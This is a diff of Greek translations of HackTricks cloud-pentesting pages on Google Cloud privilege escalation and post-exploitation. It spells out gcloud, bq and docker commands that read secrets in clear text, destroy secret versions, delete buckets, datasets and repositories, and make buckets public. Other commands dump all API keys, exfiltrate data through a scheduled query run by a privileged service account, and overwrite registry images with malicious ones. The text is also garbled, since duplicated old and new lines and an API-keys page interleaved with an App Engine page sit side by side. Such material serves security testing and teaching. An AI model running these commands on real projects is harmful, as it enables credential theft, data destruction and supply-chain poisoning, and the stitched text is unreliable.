Αυτό θα δημιουργήσει ένα snapshot όλων των unACKed μηνυμάτων και θα τα επιστρέψει στη subscription. Δεν είναι πολύ χρήσιμο για έναν επιτιθέμενο, αλλά ιδού:
Αυτό θα δημιουργήσει ένα snapshot όλων των unACKed μηνυμάτων και θα τα επιστρέψει στη συνδρομή. Δεν είναι πολύ χρήσιμο για έναν επιτιθέμενο αλλά εδώ είναι:
<details>
<summary>Δημιούργησε snapshot και seek σε αυτό</summary>
<summary>Δημιούργησε snapshot και κάνε seek σε αυτό</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
@@ -12,15 +12,38 @@
### `secretmanager.versions.access`
Αυτό σας δίνει πρόσβαση για να διαβάσετε τα secrets από το Secret Manager και πιθανώς να βοηθήσει στο escalate privileges (ανάλογα με τις πληροφορίες που είναι αποθηκευμένες μέσα στο secret):
Αυτό σας δίνει πρόσβαση για ανάγνωση των μυστικών από το secret manager και ίσως αυτό να βοηθήσει στην κλιμάκωση προνομίων (ανάλογα με τις πληροφορίες που είναι αποθηκευμένες μέσα στο μυστικό):
<details>
<summary>Πρόσβαση σε secret version</summary>
<summary>Πρόσβαση σε έκδοση μυστικού</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
### `secretmanager.versions.destroy`
Η άδεια `secretmanager.versions.destroy` επιτρέπει σε μια οντότητα να καταστρέψει οριστικά (να επισημάνει ως μη αναστρέψιμα διαγραμμένη) μια συγκεκριμένη έκδοση ενός secret στο Secret Manager, κάτι που μπορεί να επιτρέψει την αφαίρεση κρίσιμων credentials και ενδεχομένως να προκαλέσει denial of service ή να αποτρέψει την ανάκτηση ευαίσθητων δεδομένων.
```bash
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.versions.disable`
Η άδεια `secretmanager.versions.disable` επιτρέπει σε μια ταυτότητα να απενεργοποιεί ενεργές εκδόσεις μυστικών στο Secret Manager, προσωρινά μπλοκάροντας τη χρήση τους από εφαρμογές ή υπηρεσίες που εξαρτώνται από αυτές.
```bash
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.secrets.delete`
Το σύνολο δικαιωμάτων `secretmanager.secrets.delete` επιτρέπει σε μια ταυτότητα να διαγράψει πλήρως ένα secret και όλες τις αποθηκευμένες εκδόσεις του στο Secret Manager.
```bash
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
```
### `secretmanager.secrets.update`
Η άδεια `secretmanager.secrets.update` επιτρέπει σε μια ταυτότητα να τροποποιήσει τα μεταδεδομένα και τη διαμόρφωση ενός secret (για παράδειγμα, ρυθμίσεις rotation, πολιτική εκδόσεων, labels, και ορισμένες ιδιότητες του secret).
```bash
gcloud secrets update SECRET_NAME \
--project=PROJECT_ID \
--clear-labels \
--rotation-period=DURATION
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud Storage
Για περισσότερες πληροφορίες σχετικά με Cloud Storage δείτε αυτή τη σελίδα:
Για περισσότερες πληροφορίες σχετικά με το Cloud Storage δείτε αυτή τη σελίδα:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,11 +12,7 @@
### Παροχή δημόσιας πρόσβασης
Είναι δυνατό να δοθεί πρόσβαση σε εξωτερικούς χρήστες (συνδεδεμένους στο GCP ή όχι) στο περιεχόμενο των buckets. Ωστόσο, από προεπιλογή το bucket θα έχει απενεργοποιημένη την επιλογή να εκθέσει δημόσια ένα bucket:
<details>
<summary>Κάντε το bucket/objects δημόσιο</summary>
Είναι δυνατόν να δοθεί σε εξωτερικούς χρήστες (με σύνδεση στο GCP ή όχι) πρόσβαση στο περιεχόμενο των buckets. Ωστόσο, από προεπιλογή το bucket θα έχει απενεργοποιημένη την επιλογή να εκθέσει δημόσια ένα bucket:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
</details>
Εάν προσπαθήσετε να δώσετε **ACLs to a bucket with disabled ACLs** θα βρείτε αυτό το σφάλμα: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Αν προσπαθήσετε να δώσετε **ACLs σε ένα bucket με απενεργοποιημένα ACLs** θα δείτε αυτό το σφάλμα: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Για να αποκτήσετε πρόσβαση σε open buckets μέσω browser, επισκεφτείτε το URL `https://<bucket_name>.storage.googleapis.com/` ή `https://<bucket_name>.storage.googleapis.com/<object_name>`
Για να αποκτήσετε πρόσβαση σε ανοιχτά buckets μέσω browser, επισκεφθείτε το URL `https://<bucket_name>.storage.googleapis.com/` ή `https://<bucket_name>.storage.googleapis.com/<object_name>`
### `storage.objects.delete` (`storage.objects.get`)
Για να διαγράψετε ένα object:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
Για να διαγράψετε ένα bucket:
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### Απενεργοποίηση HMAC Keys
Η άδεια `storage.hmacKeys.update` επιτρέπει την απενεργοποίηση των HMAC keys, και η άδεια `storage.hmacKeys.delete` επιτρέπει σε μια ταυτότητα να διαγράψει HMAC keys που σχετίζονται με service accounts στο Cloud Storage.
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
Η άδεια `storage.buckets.setIpFilter`, μαζί με την άδεια `storage.buckets.update`, επιτρέπει σε μια οντότητα να διαμορφώσει φίλτρα διευθύνσεων IP σε ένα Cloud Storage bucket, καθορίζοντας ποια εύρη ή συγκεκριμένες διευθύνσεις IP επιτρέπεται να έχουν πρόσβαση στους πόρους του bucket.
Για να καταργήσετε πλήρως το φίλτρο IP, μπορεί να χρησιμοποιηθεί η ακόλουθη εντολή:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
Για να αλλάξετε τις φιλτραρισμένες διευθύνσεις IP, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
```
Το αρχείο JSON αντιπροσωπεύει το ίδιο το φίλτρο, κάτι σαν:
```bash
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
```
### `storage.buckets.restore`
Επαναφορά bucket χρησιμοποιώντας:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,87 +1,139 @@
# GCP - Apikeys Privesc
# GCP - AppEngine Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Apikeys
## App Engine
Οι ακόλουθες άδειες είναι χρήσιμες για τη δημιουργία και την κλοπή API keys. Σημείωση από την τεκμηρίωση: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
Επομένως, με ένα API key μπορείτε να κάνετε την εταιρεία να πληρώσει για τη χρήση του API από εσάς, αλλά δεν θα μπορείτε να κλιμακώσετε προνόμια.
Για περισσότερες πληροφορίες σχετικά με API Keys δείτε:
Για περισσότερες πληροφορίες σχετικά με το App Engine, δείτε:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
Για άλλους τρόπους δημιουργίας API keys δείτε:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
Αυτές είναι οι απαιτούμενες άδειες για να **αναπτύξετε μια εφαρμογή χρησιμοποιώντας το `gcloud` cli**. Ίσως τα **`get`** και **`list`** να μπορούν να **παραληφθούν**.
Μπορείτε να βρείτε παραδείγματα κώδικα Python στο [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Από προεπιλογή, το όνομα της υπηρεσίας App θα είναι **`default`**, και μπορεί να υπάρχει μόνο 1 instance με το ίδιο όνομα.\
Για να το αλλάξετε και να δημιουργήσετε μια δεύτερη εφαρμογή, στο **`app.yaml`**, αλλάξτε την τιμή του root key σε κάτι σαν **`service: my-second-app`**
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Δώστε του τουλάχιστον 10-15 λεπτά. Αν δεν λειτουργήσει, καλέστε **deploy another of times** και περιμένετε λίγα λεπτά.
> [!NOTE]
> Είναι **πιθανό να υποδείξετε το Service Account που θα χρησιμοποιηθεί** αλλά από προεπιλογή χρησιμοποιείται το App Engine default SA.
Το URL της εφαρμογής είναι κάτι σαν `https://<proj-name>.oa.r.appspot.com/` ή `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### Ενημέρωση αντίστοιχων δικαιωμάτων
Ενδέχεται να έχετε αρκετά δικαιώματα για να ενημερώσετε ένα AppEngine αλλά όχι για να δημιουργήσετε ένα καινούργιο. Σε αυτήν την περίπτωση, έτσι θα μπορούσατε να ενημερώσετε το τρέχον App Engine:
```bash
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
Εάν έχετε **ήδη παραβιάσει ένα AppEngine** και έχετε την άδεια **`appengine.applications.update`** και **actAs** πάνω στον service account που θέλετε να χρησιμοποιήσετε, θα μπορούσατε να τροποποιήσετε τον service account που χρησιμοποιείται από το AppEngine με:
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
Με αυτά τα δικαιώματα, είναι δυνατή η **είσοδος μέσω ssh σε App Engine instances** τύπου **flexible** (όχι standard). Κάποια από τα **`list`** και **`get`** δικαιώματα **δεν είναι πραγματικά απαραίτητα**.
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
Νομίζω ότι αυτό απλώς αλλάζει το background SA που θα χρησιμοποιήσει η google για να ρυθμίσει τις εφαρμογές, οπότε δεν νομίζω ότι μπορείς να το εκμεταλλευτείς για να κλέψεις το service account.
```bash
gcloud app update --service-account=<sa_email>
```
### `appengine.versions.getFileContents`, `appengine.versions.update`
Δεν είμαι σίγουρος πώς να χρησιμοποιήσω αυτά τα permissions ή αν είναι χρήσιμα (σημείωση ότι όταν αλλάζεις τον κώδικα δημιουργείται νέα έκδοση, οπότε δεν ξέρω αν μπορείς απλώς να ενημερώσεις τον κώδικα ή το IAM role μιας έκδοσης, αλλά φαντάζομαι ότι θα μπορούσες, ίσως αλλάζοντας τον κώδικα μέσα στο bucket??).
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
Για να διαγράψετε tables, datasets ή models:
```bash
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
```
### Κατάχρηση των Scheduled Queries
Με τα δικαιώματα `bigquery.datasets.get`, `bigquery.jobs.create`, και `iam.serviceAccounts.actAs`, μια ταυτότητα μπορεί να ανακτήσει dataset metadata, να εκκινήσει BigQuery jobs και να τα εκτελέσει χρησιμοποιώντας ένα Service Account με υψηλότερα προνόμια.
Αυτή η επίθεση επιτρέπει κακόβουλη χρήση των Scheduled Queries για αυτοματοποίηση ερωτημάτων (που εκτελούνται υπό το επιλεγμένο Service Account), τα οποία μπορούν, για παράδειγμα, να οδηγήσουν σε ανάγνωση ευαίσθητων δεδομένων και εγγραφή τους σε άλλο table ή dataset στο οποίο ο επιτιθέμενος έχει πρόσβαση — διευκολύνοντας την έμμεση και συνεχή exfiltration χωρίς να χρειάζεται εξωτερική εξαγωγή των δεδομένων.
Μόλις ο επιτιθέμενος γνωρίζει ποιο Service Account διαθέτει τα απαραίτητα δικαιώματα για να εκτελέσει το επιθυμητό query, μπορεί να δημιουργήσει μια Scheduled Query configuration που τρέχει χρησιμοποιώντας εκείνο το Service Account και περιοδικά εγγράφει τα αποτελέσματα σε ένα dataset της επιλογής του.
```bash
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
```
### Δικαιώματα εγγραφής στα buckets
Όπως αναφέρθηκε, οι εκδόσεις του appengine δημιουργούν κάποια δεδομένα μέσα σε ένα bucket με όνομα μορφής: `staging.<project-id>.appspot.com`. Σημειώστε ότι δεν είναι δυνατό να γίνει pre-takeover αυτού του bucket επειδή οι χρήστες GCP δεν έχουν εξουσιοδότηση να δημιουργούν buckets χρησιμοποιώντας το domain `appspot.com`.
Ωστόσο, με read & write πρόσβαση σε αυτό το bucket, είναι δυνατόν να κλιμακώσετε προνόμια προς το SA που είναι συνδεδεμένο με την έκδοση του AppEngine, παρακολουθώντας το bucket και κάθε φορά που γίνεται μια αλλαγή, τροποποιώντας όσο το δυνατόν πιο γρήγορα τον κώδικα. Με αυτόν τον τρόπο, το container που δημιουργείται από αυτόν τον κώδικα θα **execute the backdoored code**.
Για περισσότερες πληροφορίες και ένα **PoC δείτε τις σχετικές πληροφορίες από αυτή τη σελίδα**:
{{#ref}}
gcp-serviceusage-privesc.md
gcp-storage-privesc.md
{{#endref}}
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
### Δικαιώματα εγγραφής στο Artifact Registry
Καθώς ίσως δεν γνωρίζετε ποιες APIs είναι ενεργοποιημένες στο project ή τους περιορισμούς που έχουν εφαρμοστεί στο API key που βρήκατε, είναι ενδιαφέρον να τρέξετε το εργαλείο [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) και να ελέγξετε **τι μπορείτε να προσπελάσετε με το API key.**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
Αυτό το δικαίωμα επιτρέπει να **δημιουργήσετε ένα API key**:
<details>
<summary>Δημιουργήστε ένα API key χρησιμοποιώντας gcloud</summary>
```bash
gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]=\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
</details>
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
> [!CAUTION]
> Σημειώστε ότι από προεπιλογή οι χρήστες έχουν δικαιώματα να δημιουργούν νέα projects και τους αποδίδεται ο ρόλος Owner στο νέο project. Έτσι, ένας χρήστης θα μπορούσε να **δημιουργήσει ένα project και ένα API key μέσα σε αυτό το project**.
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
Αυτά τα δικαιώματα επιτρέπουν την **απαρίθμηση και ανάκτηση όλων των apiKeys και την λήψη του Key**:
<details>
<summary>Απαρίθμηση και ανάκτηση όλων των API keys</summary>
```bash
for key in $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done
```
</details>
Μπορείτε να βρείτε ένα script για να αυτοματοποιήσετε την [**δημιουργία, exploit και καθαρισμό ενός vuln περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
Αυτά τα δικαιώματα σας επιτρέπουν να **απαριθμήσετε και να αναδημιουργήσετε διαγραμμένα api keys**. Το **API key δίνεται στην έξοδο** μετά την εκτέλεση του **undelete**:
<details>
<summary>Απαρίθμηση και ανάκτηση API keys</summary>
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
</details>
### Δημιουργία εσωτερικής εφαρμογής OAuth για phish άλλους εργαζόμενους
Δείτε την παρακάτω σελίδα για να μάθετε πώς να το κάνετε, αν και αυτή η ενέργεια ανήκει στην υπηρεσία **`clientauthconfig`** [σύμφωνα με την τεκμηρίωση](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
{{#endref}}
Παρότι το App Engine δημιουργεί docker images μέσα στο Artifact Registry, δοκιμάστηκε ότι **ακόμα και αν τροποποιήσεις την image μέσα σε αυτή την υπηρεσία** και αφαιρέσεις την App Engine instance (οπότε αναπτύσσεται μια νέα), ο **εκτελούμενος κώδικας δεν αλλάζει**.\
Ίσως να είναι δυνατό ότι πραγματοποιώντας ένα **Race Condition attack όπως με τα buckets μπορεί να είναι εφικτό να αντικαταστήσεις τον εκτελούμενο κώδικα**, αλλά αυτό δεν δοκιμάστηκε.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Artifact Registry
Για περισσότερες πληροφορίες σχετικά με το Artifact Registry, δείτε:
Για περισσότερες πληροφορίες σχετικά με το Artifact Registry δείτε:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
@@ -15,7 +15,7 @@
Με αυτή την άδεια, ένας επιτιθέμενος θα μπορούσε να ανεβάσει νέες εκδόσεις των artifacts με κακόβουλο κώδικα, όπως Docker images:
<details>
<summary>Μεταφόρτωση εικόνας Docker στο Artifact Registry</summary>
<summary>Ανέβασμα Docker image στο Artifact Registry</summary>
```bash
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
</details>
> [!CAUTION]
> Ελέγχθηκε ότι είναι **δυνατό να ανεβάσετε μια νέα κακόβουλη docker** εικόνα με το ίδιο όνομα και tag με αυτή που υπάρχει ήδη, οπότε η **παλιά θα χάσει το tag** και την επόμενη φορά που αυτή η εικόνα με αυτό το tag θα **κατέβει, θα κατέβει η κακόβουλη**.
> Ελέγχθηκε ότι είναι **δυνατό να ανεβάσετε μια νέα κακόβουλη docker** image με το ίδιο όνομα και tag με αυτή που ήδη υπάρχει, οπότε η **παλιά θα χάσει το tag** και την επόμενη φορά που θα γίνει λήψη αυτής της εικόνας με αυτό το tag θα κατέβει η **κακόβουλη**.
<details>
<summary>Ανέβασμα βιβλιοθήκης Python</summary>
**Ξεκινήστε δημιουργώντας τη βιβλιοθήκη που θα ανεβάσετε** (αν μπορείτε να κατεβάσετε την τελευταία έκδοση από το αποθετήριο μπορείτε να αποφύγετε αυτό το βήμα):
**Ξεκινήστε δημιουργώντας τη βιβλιοθήκη που θα ανεβάσετε** (αν μπορείτε να κατεβάσετε την πιο πρόσφατη έκδοση από το registry μπορείτε να αποφύγετε αυτό το βήμα):
1. **Ρυθμίστε τη δομή του project σας**:
1. **Ρυθμίστε τη δομή του έργου σας**:
- Δημιουργήστε έναν νέο φάκελο για τη βιβλιοθήκη σας, π.χ. `hello_world_library`.
- Μέσα σε αυτόν τον φάκελο, δημιουργήστε έναν άλλο φάκελο με το όνομα του πακέτου σας, π.χ. `hello_world`.
- Μέσα στο φάκελο του πακέτου σας, δημιουργήστε ένα αρχείο `__init__.py`. Αυτό το αρχείο μπορεί να είναι κενό ή να περιέχει αρχικοποιήσεις για το πακέτο σας.
- Δημιουργήστε έναν νέο κατάλογο για τη βιβλιοθήκη σας, π.χ., `hello_world_library`.
- Μέσα σε αυτόν τον κατάλογο, δημιουργήστε έναν άλλο κατάλογο με το όνομα του πακέτου σας, π.χ., `hello_world`.
- Μέσα στον κατάλογο του πακέτου σας, δημιουργήστε ένα αρχείο `__init__.py`. Αυτό το αρχείο μπορεί να είναι κενό ή να περιέχει αρχικοποιήσεις για το πακέτο σας.
<details>
<summary>Δημιουργία δομής project</summary>
<summary>Δημιουργία δομής έργου</summary>
```bash
mkdir hello_world_library
@@ -57,7 +57,7 @@ touch hello_world/__init__.py
2. **Γράψτε τον κώδικα της βιβλιοθήκης σας**:
- Μέσα στον φάκελο `hello_world`, δημιουργήστε ένα νέο αρχείο Python για το module σας, π.χ. `greet.py`.
- Μέσα στον κατάλογο `hello_world`, δημιουργήστε ένα νέο αρχείο Python για το module σας, π.χ., `greet.py`.
- Γράψτε τη συνάρτηση "Hello, World!":
<details>
@@ -73,11 +73,11 @@ return "Hello, World!"
3. **Δημιουργήστε ένα αρχείο `setup.py`**:
- Στη ρίζα του φακέλου `hello_world_library`, δημιουργήστε ένα αρχείο `setup.py`.
- Αυτό το αρχείο περιέχει metadata για τη βιβλιοθήκη σας και λέει στο Python πώς να την εγκαταστήσει.
- Στη ρίζα του καταλόγου `hello_world_library`, δημιουργήστε ένα αρχείο `setup.py`.
- Αυτό το αρχείο περιέχει metadata για τη βιβλιοθήκη σας και ενημερώνει το Python πώς να το εγκαταστήσει.
<details>
<summary>Δημιουργία setup.py file</summary>
<summary>Δημιουργία αρχείου setup.py</summary>
```python
# setup.py
@@ -99,10 +99,10 @@ install_requires=[
1. **Δημιουργήστε το πακέτο σας**:
- Από τη ρίζα του φακέλου `hello_world_library`, εκτελέστε:
- Από τη ρίζα του καταλόγου `hello_world_library`, εκτελέστε:
<details>
<summary>Κατασκευή πακέτου Python</summary>
<summary>Δημιουργία Python πακέτου</summary>
```sh
python3 setup.py sdist bdist_wheel
@@ -110,9 +110,9 @@ python3 setup.py sdist bdist_wheel
</details>
2. **Διαμορφώστε την αυθεντικοποίηση για το twine** (χρησιμοποιείται για το ανέβασμα του πακέτου σας):
- Βεβαιωθείτε ότι έχετε εγκαταστήσει το `twine` (`pip install twine`).
- Χρησιμοποιήστε το `gcloud` για να διαμορφώσετε credentials:
2. **Διαμορφώστε την πιστοποίηση για το twine** (χρησιμοποιείται για να ανεβάσετε το πακέτο σας):
- Βεβαιωθείτε ότι έχετε εγκατεστημένο το `twine` (`pip install twine`).
- Χρησιμοποιήστε το `gcloud` για να ρυθμίσετε τα διαπιστευτήρια:
<details>
<summary>Ανέβασμα πακέτου με twine</summary>
@@ -121,10 +121,10 @@ twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-acce
```
</details>
3. **Καθαρισμός του build**
3. **Καθαρίστε το build**
<details>
<summary>Καθαρισμός build artifacts</summary>
<summary>Καθαρίστε τα artifacts του build</summary>
```bash
rm -rf dist build hello_world.egg-info
```
@@ -133,7 +133,7 @@ rm -rf dist build hello_world.egg-info
</details>
> [!CAUTION]
> Δεν είναι δυνατό να ανεβάσετε μια βιβλιοθήκη python με την ίδια έκδοση που υπάρχει ήδη, αλλά είναι δυνατό να ανεβάσετε **μεγαλύτερες εκδόσεις** (ή να προσθέσετε ένα επιπλέον **`.0` στο τέλος** της έκδοσης αν αυτό λειτουργεί όχι όμως σε python), ή να **διαγράψετε την τελευταία έκδοση και να ανεβάσετε μια νέα με** (needed `artifactregistry.versions.delete)`**:**
> Δεν είναι δυνατό να ανεβάσετε μια βιβλιοθήκη python με την ίδια έκδοση που υπάρχει ήδη, αλλά είναι δυνατό να ανεβάσετε **μεγαλύτερες εκδόσεις** (ή να προσθέσετε ένα επιπλέον **`.0` στο τέλος** της έκδοσης αν αυτό λειτουργεί - όχι όμως σε python), ή να **διαγράψετε την τελευταία έκδοση και να ανεβάσετε μια νέα** (απαιτείται `artifactregistry.versions.delete`):**
>
> <details>
> <summary>Διαγραφή έκδοσης artifact</summary>
@@ -146,12 +146,12 @@ rm -rf dist build hello_world.egg-info
### `artifactregistry.repositories.downloadArtifacts`
Με αυτήν την άδεια μπορείτε να **κατεβάζετε artifacts** και να αναζητάτε **ευαίσθητες πληροφορίες** και **ευπάθειες**.
Με αυτήν την άδεια μπορείτε να **κατεβάσετε artifacts** και να αναζητήσετε **ευαίσθητες πληροφορίες** και **ευπάθειες**.
Download a **Docker** image:
Κατεβάστε μια **Docker** εικόνα:
<details>
<summary>Λήψη Docker image από Artifact Registry</summary>
<summary>Λήψη εικόνας **Docker** από Artifact Registry</summary>
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -161,16 +161,16 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
</details>
Κατεβάστε μια βιβλιοθήκη **python**:
Κατεβάστε μια **python** βιβλιοθήκη:
<details>
<summary>Κατεβάστε βιβλιοθήκη Python από το Artifact Registry</summary>
<summary>Κατεβάστε Python βιβλιοθήκη από Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
</details>
- Τι συμβαίνει αν ένα remote και ένα standard registries αναμειχθούν σε ένα virtual και ένα package υπάρχει και στα δύο; Δες αυτή τη σελίδα:
- Τι συμβαίνει αν ένα απομακρυσμένο και ένα τυπικό registry αναμιχθούν σε ένα εικονικό registry και ένα package υπάρχει και στα δύο; Δείτε αυτή τη σελίδα:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -178,10 +178,10 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
Διαγραφή artifacts από το Artifact Registry, όπως docker images:
Διαγραφή artifacts από το registry, όπως docker images:
<details>
<summary>Διαγραφή Docker image από το Artifact Registry</summary>
<summary>Διαγραφή εικόνας Docker από Artifact Registry</summary>
```bash
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
@@ -190,10 +190,10 @@ gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<rep
### `artifactregistry.repositories.delete`
Διαγραφή ενός πλήρους repository (ακόμη κι αν έχει περιεχόμενο):
Διαγράψτε ένα πλήρες repository (ακόμα και αν έχει περιεχόμενο):
<details>
<summary>Διαγραφή repository του Artifact Registry</summary>
<summary>Διαγραφή Artifact Registry repository</summary>
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
@@ -201,17 +201,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
### `artifactregistry.repositories.setIamPolicy`
Ένας επιτιθέμενος με αυτό το δικαίωμα θα μπορούσε να χορηγήσει στον εαυτό του δικαιώματα για να εκτελέσει μερικές από τις προαναφερθείσες επιθέσεις στο repository.
Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να δώσει στον εαυτό του δικαιώματα για να εκτελέσει μερικές από τις προαναφερθείσες επιθέσεις στο repository.
### Pivoting σε άλλες υπηρεσίες μέσω Artifact Registry Read & Write
- **Cloud Functions**
